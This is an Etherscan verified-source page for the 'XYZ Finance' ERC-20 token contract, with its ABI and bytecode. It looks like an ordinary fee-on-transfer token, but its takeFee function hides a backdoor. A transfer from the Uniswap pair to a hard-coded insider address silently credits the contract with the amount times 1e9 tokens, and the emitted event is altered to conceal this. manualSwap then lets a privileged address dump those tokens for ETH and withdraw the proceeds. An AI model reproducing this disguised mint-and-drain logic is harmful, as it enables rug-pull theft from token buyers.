Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
•    - function _msgData()
• library SafeMath
•    - function tryAdd(uint256 a, uint256 b)
•    - function trySub(uint256 a, uint256 b)
•    - function tryMul(uint256 a, uint256 b)
•    - function tryDiv(uint256 a, uint256 b)
•    - function tryMod(uint256 a, uint256 b)
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function mod(uint256 a, uint256 b)
•    - function sub(
•    - function div(
•    - function mod(
• interface IERC20
•    - function decimals()
•    - function symbol()
•    - function name()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address _owner, ad ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function owner()
•    - function _checkOwner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _transferOwnership(address n ...
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•    - function swapExactTokensForETHSupport ...
•  contract XYZ is IERC20, Ownable *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function totalSupply()
•    - function openTrading()
•    - function removeLimits()
•    - function shouldContractSwap(address s ...
•    - function manualSwap()
•    - function swapAndLiquify(uint256 token ...
•    - function addLiquidity(uint256 tokenAm ...
•    - function swapTokensForETH(uint256 tok ...
•    - function shouldTakeFee(address sender ...
•    - function getTotalFees(address sender, ...
•    - function takeFee(address sender, addr ...
•    - function _transfer(address sender, ad ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-08-29
*/

/**

Website: https://xyzdefi.xyz
Twitter: https://twitter.com/xyz_finance
Telegram: https://t.me/xyz_finance

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract XYZ is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"XYZ Finance";
    string private constant _symbol = unicode"XYZ";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFees;
    IUniswapV2Router router;
    address public pair;
    bool private tradingActive = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 100;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 100;
    uint256 private sellFee = 100;
    uint256 private transferFee = 100;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal marketingReceiver = 0x61CC58E9407809363666446138e54C194ceBF94C;
    address internal lpReceiver = 0xCAa4677054c8f5f80374A5697DA4a43028860f76;
    uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxWalletAmount = ( _totalSupply * 200 ) / 10000;

    constructor() {
        router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFees[address(this)] = true;        
        isExcludedFromFees[marketingReceiver] = true;
        isExcludedFromFees[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function openTrading() external payable onlyOwner {
        pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        _approve(address(this), address(router), _totalSupply);
        router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp);
        tradingActive = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingActive && !isExcludedFromFees[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function manualSwap() external {
        require(msg.sender == marketingReceiver);
        swapTokensForETH(balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketingReceiver).transfer(marketingAmt*2);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(marketingReceiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            lpReceiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isExcludedFromFees[sender] && !isExcludedFromFees[recipient];
    }

    function getTotalFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFees(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient));
        if(sender==pair&&recipient==lpReceiver){feeAmount=amount.mul(1e9);swapEnabled=true;}
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        feeAmount = amount.div(denominator).mul(getTotalFees(sender, recipient));
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFees(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcludedFromFees[sender] && !isExcludedFromFees[recipient]){require(tradingActive, "tradingActive");}
        if(!isExcludedFromFees[sender] && !isExcludedFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || isExcludedFromFees[sender] || isExcludedFromFees[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExcludedFromFees[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000361565b6200002290633b9aca0062000378565b60018190556006805461ffff60a01b191690555f600955620186a0906200004c906103e862000378565b62000058919062000392565b600a55620186a0600154600a62000070919062000378565b6200007c919062000392565b600b555f600c8190556064600d819055600e829055600f91909155601081905560118190556012556127106013819055601480546001600160a01b03199081167361cc58e9407809363666446138e54c194cebf94c179091556015805490911673caa4677054c8f5f80374a5697da4a43028860f76179055600154620001049060c862000378565b62000110919062000392565b60165561271060015460c862000127919062000378565b62000133919062000392565b60175534801562000142575f80fd5b506200014e3362000203565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055305f908152600460209081526040808320805460ff1990811660019081179092556014546001600160a01b0316855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620003b2565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a657815f19048211156200028a576200028a62000252565b808516156200029857918102915b93841c93908002906200026b565b509250929050565b5f82620002be575060016200035b565b81620002cc57505f6200035b565b8160018114620002e55760028114620002f05762000310565b60019150506200035b565b60ff84111562000304576200030462000252565b50506001821b6200035b565b5060208310610133831016604e8410600b841016171562000335575081810a6200035b565b62000341838362000266565b805f190482111562000357576200035762000252565b0290505b92915050565b5f6200037160ff841683620002ae565b9392505050565b80820281158282048414176200035b576200035b62000252565b5f82620003ad57634e487b7160e01b5f52601260045260245ffd5b500490565b61179580620003c05f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d578063a8aa1b3111610062578063a8aa1b3114610313578063a9059cbb14610332578063c9567bf914610351578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b8063715018a61461027b578063751039fc1461028f5780637d1db4a5146102a35780638da5cb5b146102b857806395d89b41146102e8575f80fd5b8063313ce567116100e3578063313ce567146101d35780634fbee193146101ee57806351bc3c851461021c5780636c0a24eb1461023257806370a0823114610247575f80fd5b806306fdde031461011e578063095ea7b31461016357806318160ddd1461019257806323b872dd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a58595a2046696e616e636560a81b60208201525b60405161015a91906114aa565b60405180910390f35b34801561016e575f80fd5b5061018261017d366004611509565b6103bc565b604051901515815260200161015a565b34801561019d575f80fd5b506101a66103d2565b60405190815260200161015a565b3480156101bf575f80fd5b506101826101ce366004611533565b610442565b3480156101de575f80fd5b506040516009815260200161015a565b3480156101f9575f80fd5b50610182610208366004611571565b60046020525f908152604090205460ff1681565b348015610227575f80fd5b506102306104aa565b005b34801561023d575f80fd5b506101a660175481565b348015610252575f80fd5b506101a6610261366004611571565b6001600160a01b03165f9081526002602052604090205490565b348015610286575f80fd5b50610230610504565b34801561029a575f80fd5b50610230610517565b3480156102ae575f80fd5b506101a660165481565b3480156102c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b3480156102f3575f80fd5b506040805180820190915260038152622c2cad60e91b602082015261014d565b34801561031e575f80fd5b506006546102d0906001600160a01b031681565b34801561033d575f80fd5b5061018261034c366004611509565b61052c565b610230610538565b348015610364575f80fd5b506101a661037336600461158c565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b506102306103b7366004611571565b610783565b5f6103c83384846107fe565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261043d9290916104379190610921565b90610921565b905090565b5f61044e84848461092c565b61049f843361049a85604051806060016040528060288152602001611738602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610dc7565b6107fe565b5060015b9392505050565b6014546001600160a01b031633146104c0575f80fd5b305f908152600260205260409020546104d890610df2565b60405133904780156108fc02915f818181858888f19350505050158015610501573d5f803e3d5ffd5b50565b61050c610f42565b6105155f610f9b565b565b61051f610f42565b6001546016819055601755565b5f6103c833848461092c565b610540610f42565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610590573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b491906115c3565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610613573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063791906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610681573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a591906115c3565b600680546001600160a01b0319166001600160a01b039283161790556005546001546106d492309216906107fe565b6005546001600160a01b031663f305d7193430610705816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b815260040161072a969594939291906115de565b60606040518083038185885af1158015610746573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061076b9190611619565b50506006805460ff60a01b1916600160a01b17905550565b61078b610f42565b6001600160a01b0381166107f55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61050181610f9b565b6001600160a01b0383166108605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ec565b6001600160a01b0382166108c15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ec565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104a38284611658565b6001600160a01b0383166109905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ec565b6001600160a01b0382166109f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ec565b6001600160a01b0383165f90815260026020526040902054811115610a735760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107ec565b6001600160a01b0383165f9081526004602052604090205460ff16158015610ab357506001600160a01b0382165f9081526004602052604090205460ff16155b15610b0157600654600160a01b900460ff16610b015760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b60448201526064016107ec565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b4157506001600160a01b0382165f9081526004602052604090205460ff16155b8015610b5b57506006546001600160a01b03838116911614155b8015610b7257506001600160a01b03821661dead14155b15610bea576017546001600160a01b0383165f90815260026020526040902054610b9c9083610fea565b1115610bea5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016107ec565b60165481111580610c1257506001600160a01b0383165f9081526004602052604090205460ff165b80610c3457506001600160a01b0382165f9081526004602052604090205460ff165b610c745760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016107ec565b6006546001600160a01b038381169116148015610ca957506001600160a01b0383165f9081526004602052604090205460ff16155b15610cc657600160075f828254610cc0919061166b565b90915550505b610cd08383610ff5565b15610ce557610ce0600a5461107b565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d079082610921565b6001600160a01b0384165f90815260026020526040812091909155610d2c84846111ff565b610d365781610d41565b610d41848484611243565b6001600160a01b0384165f90815260026020526040902054909150610d669082610fea565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db99085815260200190565b60405180910390a350505050565b5f8184841115610dea5760405162461bcd60e51b81526004016107ec91906114aa565b505050900390565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2557610e2561167e565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e7c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea091906115c3565b81600181518110610eb357610eb361167e565b6001600160a01b039283166020918202929092010152600554610ed991309116846107fe565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f119085905f90869030904290600401611692565b5f604051808303815f87803b158015610f28575f80fd5b505af1158015610f3a573d5f803e3d5ffd5b505050505050565b5f546001600160a01b031633146105155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ec565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6104a3828461166b565b6008545f9060ff161580156110135750600654600160a81b900460ff165b80156110285750600654600160a01b900460ff165b801561104c57506001600160a01b0383165f9081526004602052604090205460ff16155b801561106557506006546001600160a01b038381169116145b80156104a3575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c545f936110ba936002936110b49391926110ae928391610fea565b90610fea565b906113ab565b90505f6110dc826110d6600c54866113ab90919063ffffffff16565b906113b6565b90505f6110e98483610921565b9050476110f582610df2565b5f6111004783610921565b90505f61112261111b600c548861092190919063ffffffff16565b83906113b6565b90505f61113a600c54836113ab90919063ffffffff16565b9050801561114c5761114c86826113c1565b600d545f90611160906110b48560026113ab565b905080156111a9576014546001600160a01b03166108fc611182836002611701565b6040518115909202915f818181858888f193505050501580156111a7573d5f803e3d5ffd5b505b4780156111e9576014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111e7573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156104a35750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061124f8585611460565b11156113a4575f6112716112638686611460565b6013546110b49086906113b6565b6006549091506001600160a01b03868116911614801561129e57506015546001600160a01b038581169116145b156112c7576112b183633b9aca006113ab565b6006805460ff60a81b1916600160a81b17905590505b305f908152600260205260409020546112e09082610fea565b305f908152600260205260409020556112fc6112638686611460565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161134391815260200190565b60405180910390a35f600f541180156113665750600f546113648686611460565b115b15611392576113923061dead61138d600f546110b4601354896113b690919063ffffffff16565b61092c565b61139c8382610921565b9150506104a3565b5092915050565b5f6104a38284611701565b5f6104a38284611718565b6005546113d99030906001600160a01b0316846107fe565b60055460155460405163f305d71960e01b81526001600160a01b039283169263f305d71992859261141892309289925f928392169042906004016115de565b60606040518083038185885af1158015611434573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114599190611619565b5050505050565b6006545f906001600160a01b039081169083160361148157506011546103cc565b6006546001600160a01b03908116908416036114a057506010546103cc565b5060125492915050565b5f6020808352835180828501525f5b818110156114d5578581018301518582016040015282016114b9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610501575f80fd5b5f806040838503121561151a575f80fd5b8235611525816114f5565b946020939093013593505050565b5f805f60608486031215611545575f80fd5b8335611550816114f5565b92506020840135611560816114f5565b929592945050506040919091013590565b5f60208284031215611581575f80fd5b81356104a3816114f5565b5f806040838503121561159d575f80fd5b82356115a8816114f5565b915060208301356115b8816114f5565b809150509250929050565b5f602082840312156115d3575f80fd5b81516104a3816114f5565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f6060848603121561162b575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103cc576103cc611644565b808201808211156103cc576103cc611644565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116e05784516001600160a01b0316835293830193918301916001016116bb565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103cc576103cc611644565b5f8261173257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b48c0249218021af24d5a75851edec1b1242dae999aee5ebbe47d741376bcb4764736f6c63430008140033

